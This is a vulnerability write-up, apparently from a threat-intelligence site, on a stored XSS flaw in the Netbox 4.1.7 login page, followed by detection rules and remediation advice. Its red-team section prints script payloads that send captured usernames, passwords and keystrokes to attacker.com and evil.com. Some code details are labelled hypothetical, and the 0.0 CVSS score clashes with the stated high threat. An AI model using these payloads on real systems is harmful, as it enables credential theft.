CVE-2024-56918
Executive Summary
CVE-2024-56918 is a stored cross-site scripting (XSS) vulnerability identified in Netbox Community version 4.1.7. The flaw resides in the login page, allowing a privileged, authenticated attacker to inject malicious scripts that exfiltrate user input from the login form. This can lead to credential theft, session hijacking, and further compromise of the Netbox instance. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the risk is significant due to the potential for credential exfiltration. No patch or official advisory has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (authenticated attacker)
- User Interaction: Required (victim must visit the login page)
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: Low
- Availability Impact: None
Threat Level: High – Exploitation can lead to credential theft and lateral movement within the network.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the login page of Netbox 4.1.7. An authenticated attacker with sufficient privileges can inject a malicious script into a field that is later rendered on the login page. When an unsuspecting user (including other administrators) visits the login page, the script executes in their browser context. The script can capture keystrokes, form data, or cookies and exfiltrate them to an attacker-controlled server.
The attack flow:
- Attacker logs in and navigates to a configuration or customization section (e.g., custom links, reports, or UI text fields).
- Attacker injects a payload like
<script>fetch('https://evil.com/steal?data='+document.getElementById('id_username').value)</script>into a field that is rendered on the login page. - When another user visits the login page, the script executes and sends the username (or password) to the attacker.
Vulnerable vs. Patched Code
Vulnerable Code (Netbox 4.1.7): The login page template likely renders user-controlled content without proper sanitization. For example:
<div class="login-message">{{ custom_message }}</div>
Where custom_message is stored from a privileged user's input and not escaped.
Patched Code (Hypothetical): The fix would involve escaping output using Django's template engine:
<div class="login-message">{{ custom_message|escape }}</div>
Or using mark_safe only after sanitization with a library like bleach.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Netbox 4.1.7 instance
- Authenticated session with privileges to modify UI text (e.g., admin)
- External server to receive exfiltrated data
Exploit Steps:
- Log in to Netbox as an admin.
- Navigate to Admin > Custom Links or similar.
- Create a new custom link with the following payload:
<script> document.getElementById('id_login_form').addEventListener('submit', function(e) { var username = document.getElementById('id_username').value; var password = document.getElementById('id_password').value; fetch('https://attacker.com/steal?u='+encodeURIComponent(username)+'&p='+encodeURIComponent(password)); }); </script> - Save the custom link.
- Wait for a victim to log in. The script will capture credentials and send them to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/key?k='+e.key);
});
</script>
Blue Team
Detection:
- Monitor for unusual script tags in custom link fields or UI text.
- Use WAF rules to block
<script>tags in POST requests to admin endpoints. - Enable Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search logs for requests to unknown external domains from the Netbox server.
- Review custom link configurations for suspicious content.
Lab Setup:
- Deploy Netbox 4.1.7 in a Docker container.
- Create a test user with admin privileges.
- Inject the XSS payload via the admin panel.
- Use a browser with developer tools to observe the script execution.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP/HTTPS requests to unknown domains from the Netbox server.
- File: Modified custom link or UI text fields containing
<script>tags. - Log: Entries showing unusual POST requests to
/admin/custom-links/or similar. - Browser: Console errors or unexpected network requests when visiting the login page.
Detection Engineering
YARA Rule
rule netbox_xss_cve_2024_56918 {
meta:
description = "Detects XSS payloads in Netbox custom link fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56918"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$exfil_url = /https?:\/\/[^\s'"]+\/steal/i
condition:
$xss_payload or $exfil_url
}
Sigma Rule
title: Netbox XSS Payload in Custom Link Fields
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects XSS payloads in Netbox custom link fields
author: Valters IT
logsource:
product: netbox
service: web
detection:
selection:
http.method: 'POST'
http.url: '/admin/custom-links/'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom links (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"Netbox XSS Payload in Custom Link"; flow:to_server; content:"POST"; http_method; content:"/admin/custom-links/"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable custom link functionality if not required.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST requests. - Restrict admin access to trusted IPs only.
Long-term Fix:
- Upgrade to a patched version once available.
- Apply input sanitization and output escaping in all user-controlled fields.
- Use Django's
escapefilter orbleachlibrary for HTML sanitization.
Workaround:
- Manually review and remove any suspicious custom links.
- Enable CSP headers to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert